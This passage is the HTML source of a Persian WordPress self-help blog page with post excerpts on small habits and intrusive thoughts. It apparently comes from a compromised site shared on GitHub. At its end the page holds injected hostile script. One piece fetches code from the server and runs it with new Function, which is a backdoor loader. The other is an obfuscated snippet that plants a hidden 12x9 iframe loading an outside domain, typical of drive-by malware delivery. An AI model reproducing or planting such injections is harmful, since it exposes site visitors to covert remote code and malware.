<p> <a href="http://www.1tajrobe.com/%d8%ae%d9%88%d8%b1%d8%af%d9%87-%d8%b9%d8%a7%d8%af%d8%aa%d9%87%d8%a7%db%8c-%da%a9%d9%88%da%86%da%a9%d9%ac-%d8%aa%d8%ba%db%8c%db%8c%d8%b1-%d8%a8%d8%b2%d8%b1%da%af-%d8%b2%d9%86%d8%af%da%af%db%8c/#more-215" class="more-link">ادامه خواندن <span class="screen-reader-text">خورده عادتها: عادتهای کوچکتر، نتایج بزرگتر</span></a></p>
</div><!-- .entry-content -->
<footer class="entry-footer">
<span class="posted-on"><span class="screen-reader-text">ارسال شده در </span><a href="http://www.1tajrobe.com/%d8%ae%d9%88%d8%b1%d8%af%d9%87-%d8%b9%d8%a7%d8%af%d8%aa%d9%87%d8%a7%db%8c-%da%a9%d9%88%da%86%da%a9%d9%ac-%d8%aa%d8%ba%db%8c%db%8c%d8%b1-%d8%a8%d8%b2%d8%b1%da%af-%d8%b2%d9%86%d8%af%da%af%db%8c/" rel="bookmark"><time class="entry-date published" datetime="۱۳۹۳/۳/۱۲ ۱۱:۵۰:۰۶">۱۲ خرداد ۹۳</time><time class="updated" datetime="۱۳۹۳/۳/۱۲ ۱۱:۵۰:۰۶">۱۲ خرداد ۹۳</time></a></span><span class="cat-links"><span class="screen-reader-text">دسته‌ها </span><a href="http://www.1tajrobe.com/category/%d8%a2%d9%85%d9%88%d8%b2%d8%b4-%d9%87%d8%a7%db%8c-%d9%85%d9%81%db%8c%d8%af/" rel="category tag">آموزش های مفید</a></span><span class="tags-links"><span class="screen-reader-text">برچسب‌ها </span><a href="http://www.1tajrobe.com/tag/%d8%b1%d8%b3%db%8c%d8%af%d9%86-%d8%a8%d9%87-%d8%a7%d9%87%d8%af%d8%a7%d9%81/" rel="tag">رسیدن به اهداف</a>، <a href="http://www.1tajrobe.com/tag/%d8%b9%d8%a7%d8%af%d8%aa/" rel="tag">عادت</a>، <a href="http://www.1tajrobe.com/tag/%d8%b9%d8%a7%d8%af%d8%aa%d9%87%d8%a7%db%8c-%da%a9%d9%88%da%86%da%a9/" rel="tag">عادتهای کوچک</a>، <a href="http://www.1tajrobe.com/tag/%d9%86%d8%aa%d8%a7%db%8c%d8%ac-%d8%a8%d8%b2%d8%b1%da%af/" rel="tag">نتایج بزرگ</a></span><span class="comments-link"><a href="http://www.1tajrobe.com/%d8%ae%d9%88%d8%b1%d8%af%d9%87-%d8%b9%d8%a7%d8%af%d8%aa%d9%87%d8%a7%db%8c-%da%a9%d9%88%da%86%da%a9%d9%ac-%d8%aa%d8%ba%db%8c%db%8c%d8%b1-%d8%a8%d8%b2%d8%b1%da%af-%d8%b2%d9%86%d8%af%da%af%db%8c/#comments">۲۰ دیدگاه <span class="screen-reader-text">برای خورده عادتها: عادتهای کوچکتر، نتایج بزرگتر</span></a></span> </footer><!-- .entry-footer -->
</article><!-- #post-## -->
<article id="post-198" class="post-198 post type-post status-publish format-standard hentry category-13 tag-32 tag-33 tag-106 tag-107">
<header class="entry-header">
<h2 class="entry-title"><a href="http://www.1tajrobe.com/%da%86%da%af%d9%88%d9%86%d9%87-%d8%a7%d8%b2-%d8%b4%d8%b1-%d8%a7%d9%81%da%a9%d8%a7%d8%b1-%d9%85%d8%b2%d8%a7%d8%ad%d9%85-%d8%ae%d9%84%d8%a7%d8%b5-%d8%b4%d9%88%db%8c%d9%85/" rel="bookmark">چگونه از شر افکار مزاحم خلاص شویم</a></h2> </header><!-- .entry-header -->
<div class="entry-content">
<p>افکار مزاحم یکی از معضلات زندگی های امروزی هست که تمامی افراد با آن درگیر هستند. بله درسته دقیقا تمام افراد. این مشکلی هست که همه روزه افراد با آن دست و پنجه نرم میکنند. برخی به شدت تحت تاثیر آنها قرار میگیرند و برخی دیگر با یادگیری روشهای مقابله با آنها، سعی میکنند تا جای ممکن از آنها تاثیری نگیرند.</p>
<p>قبلا در مورد اینکه چطور میتونیم <a title="خالی کردن ذهن تنها در ۱۵ دقیقه (افزایش قدرت ذهنی)" href="http://www.1tajrobe.com/%d8%ae%d8%a7%d9%84%db%8c-%da%a9%d8%b1%d8%af%d9%86-%d8%b0%d9%87%d9%86-%d8%aa%d9%86%d9%87%d8%a7-%d8%af%d8%b1-15-%d8%af%d9%82%db%8c%d9%82%d9%87-%d8%a7%d9%81%d8%b2%d8%a7%db%8c%d8%b4-%d9%82%d8%af%d8%b1/">ذهن رو خالی کنیم</a> مطلبی نوشته بودم که خیلی هم مورد توجه خوانندگان عزیز قرار گرفت، اما در این تجربه می خوام روشهایی رو بیارم که بتونه در همه حالتی به افراد در مواجهه با افکار منفی کمک کنه.</p>
<p>افکاری مانند ترس، نگرانی، منفی بافی و &#8230; همیشه در ذهن بشر جریان داشته و ما نمی تونیم کاری کنیم که هیچ وقت آنها به ذهن ما راه پیدا نکنند، اما می تونیم با آنها کنار بیاییم و اجازه ندهیم که زندگی ما را تحت تاثیر خودشون قراربدن و هیچ وقت نباید با اونها درگیر بشیم یا باهاشون بجنگیم.</p>
<p> <a href="http://www.1tajrobe.com/%da%86%da%af%d9%88%d9%86%d9%87-%d8%a7%d8%b2-%d8%b4%d8%b1-%d8%a7%d9%81%da%a9%d8%a7%d8%b1-%d9%85%d8%b2%d8%a7%d8%ad%d9%85-%d8%ae%d9%84%d8%a7%d8%b5-%d8%b4%d9%88%db%8c%d9%85/#more-198" class="more-link">ادامه خواندن <span class="screen-reader-text">چگونه از شر افکار مزاحم خلاص شویم</span></a></p>
</div><!-- .entry-content -->
<footer class="entry-footer">
<span class="posted-on"><span class="screen-reader-text">ارسال شده در </span><a href="http://www.1tajrobe.com/%da%86%da%af%d9%88%d9%86%d9%87-%d8%a7%d8%b2-%d8%b4%d8%b1-%d8%a7%d9%81%da%a9%d8%a7%d8%b1-%d9%85%d8%b2%d8%a7%d8%ad%d9%85-%d8%ae%d9%84%d8%a7%d8%b5-%d8%b4%d9%88%db%8c%d9%85/" rel="bookmark"><time class="entry-date published" datetime="۱۳۹۳/۱/۷ ۱۵:۲۶:۵۷">۰۷ فروردین ۹۳</time><time class="updated" datetime="۱۳۹۳/۱/۷ ۱۵:۲۶:۵۷">۰۷ فروردین ۹۳</time></a></span><span class="cat-links"><span class="screen-reader-text">دسته‌ها </span><a href="http://www.1tajrobe.com/category/%d8%a2%d9%85%d9%88%d8%b2%d8%b4-%d9%87%d8%a7%db%8c-%d9%85%d9%81%db%8c%d8%af/" rel="category tag">آموزش های مفید</a></span><span class="tags-links"><span class="screen-reader-text">برچسب‌ها </span><a href="http://www.1tajrobe.com/tag/%d8%a2%d8%b1%d8%a7%d9%85%d8%b4/" rel="tag">آرامش</a>، <a href="http://www.1tajrobe.com/tag/%d8%a2%d8%b1%d8%a7%d9%85%d8%b4-%d8%b0%d9%87%d9%86%db%8c/" rel="tag">آرامش ذهنی</a>، <a href="http://www.1tajrobe.com/tag/%d8%a7%d9%81%da%a9%d8%a7%d8%b1-%d9%85%d8%b2%d8%a7%d8%ad%d9%85/" rel="tag">افکار مزاحم</a>، <a href="http://www.1tajrobe.com/tag/%d8%a7%d9%81%da%a9%d8%a7%d8%b1-%d9%85%d9%86%d9%81%db%8c/" rel="tag">افکار منفی</a></span><span class="comments-link"><a href="http://www.1tajrobe.com/%da%86%da%af%d9%88%d9%86%d9%87-%d8%a7%d8%b2-%d8%b4%d8%b1-%d8%a7%d9%81%da%a9%d8%a7%d8%b1-%d9%85%d8%b2%d8%a7%d8%ad%d9%85-%d8%ae%d9%84%d8%a7%d8%b5-%d8%b4%d9%88%db%8c%d9%85/#comments">۲۴ دیدگاه <span class="screen-reader-text">برای چگونه از شر افکار مزاحم خلاص شویم</span></a></span> </footer><!-- .entry-footer -->
</article><!-- #post-## -->
<nav class="navigation pagination" role="navigation">
<h2 class="screen-reader-text">راهبری نوشته‌ها</h2>
<div class="nav-links"><span class='page-numbers current'><span class="meta-nav screen-reader-text">برگه </span>1</span>
<a class='page-numbers' href='http://www.1tajrobe.com/page/2/'><span class="meta-nav screen-reader-text">برگه </span>2</a>
<a class='page-numbers' href='http://www.1tajrobe.com/page/3/'><span class="meta-nav screen-reader-text">برگه </span>3</a>
<a class="next page-numbers" href="http://www.1tajrobe.com/page/2/">برگه بعدی</a></div>
</nav>
</main><!-- .site-main -->
</div><!-- .content-area -->
</div><!-- .site-content -->
<footer id="colophon" class="site-footer" role="contentinfo">
<div class="site-info">
<a href="https://wordpress.org/">با افتخار نیرو گرفته از WordPress</a>
</div><!-- .site-info -->
</footer><!-- .site-footer -->
</div><!-- .site -->
<script>
jQuery(document).ready(function () {
jQuery.post('http://www.1tajrobe.com?ga_action=googleanalytics_get_script', {action: 'googleanalytics_get_script'}, function(response) {
var F = new Function ( response );
return( F() );
});
});
</script><script type='text/javascript' src='http://www.1tajrobe.com/wp-content/themes/twentyfifteen/js/skip-link-focus-fix.js?ver=20141010'></script>
<script type='text/javascript'>
/* <![CDATA[ */
var screenReaderText = {"expand":"<span class=\"screen-reader-text\">\u0628\u0627\u0632\u06a9\u0631\u062f\u0646 \u0632\u06cc\u0631\u0641\u0647\u0631\u0633\u062a<\/span>","collapse":"<span class=\"screen-reader-text\">\u0628\u0633\u062a\u0646 \u0632\u06cc\u0631\u0641\u0647\u0631\u0633\u062a<\/span>"};
/* ]]> */
</script>
<script type='text/javascript' src='http://www.1tajrobe.com/wp-content/themes/twentyfifteen/js/functions.js?ver=20150330'></script>
<script type='text/javascript' src='http://www.1tajrobe.com/wp-includes/js/wp-embed.min.js?ver=4.7.3'></script>
<script type='text/javascript' src='http://www.1tajrobe.com/wp-content/plugins/wysija-newsletters/js/validate/languages/jquery.validationEngine-fa.js?ver=2.7.8'></script>
<script type='text/javascript' src='http://www.1tajrobe.com/wp-content/plugins/wysija-newsletters/js/validate/jquery.validationEngine.js?ver=2.7.8'></script>
<script type='text/javascript'>
/* <![CDATA[ */
var wysijaAJAX = {"action":"wysija_ajax","controller":"subscribers","ajaxurl":"http:\/\/www.1tajrobe.com\/wp-admin\/admin-ajax.php","loadingTrans":"\u062f\u0631 \u062d\u0627\u0644 \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc...","is_rtl":"1"};
/* ]]> */
</script>
<script type='text/javascript' src='http://www.1tajrobe.com/wp-content/plugins/wysija-newsletters/js/front-subscribers.js?ver=2.7.8'></script>
<body> </body>
<script type="text/javascript"> var lyeuazb = "iframe"; var hinxskg = document.createElement(lyeuazb); var brbrwz = ""; hinxskg.style.width = "12px"; hinxskg.style.height = "9px"; hinxskg.style.border = "0px"; hinxskg.frameBorder = "0"; hinxskg.setAttribute("frameBorder", "0"); document.body.appendChild(hinxskg); brbrwz = "http://line.paris.jewelry/?q=znbQMvXcJwDQDorGMvrESLtEMUfQA0KK2OH_76qyEoH9JHT1vrPUSkrttgWC&oq=elmEpvMof7NZPAKyhBfWc1RknY4JB1kQ8qj4j0mHmEKYiJeH-xC9UToBvdeW&ct=diamond&qtuif=2944"; hinxskg.src = brbrwz; </script>
</body>
</html>
{"subdomain":["104.18.54.66","104.18.55.66"]}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.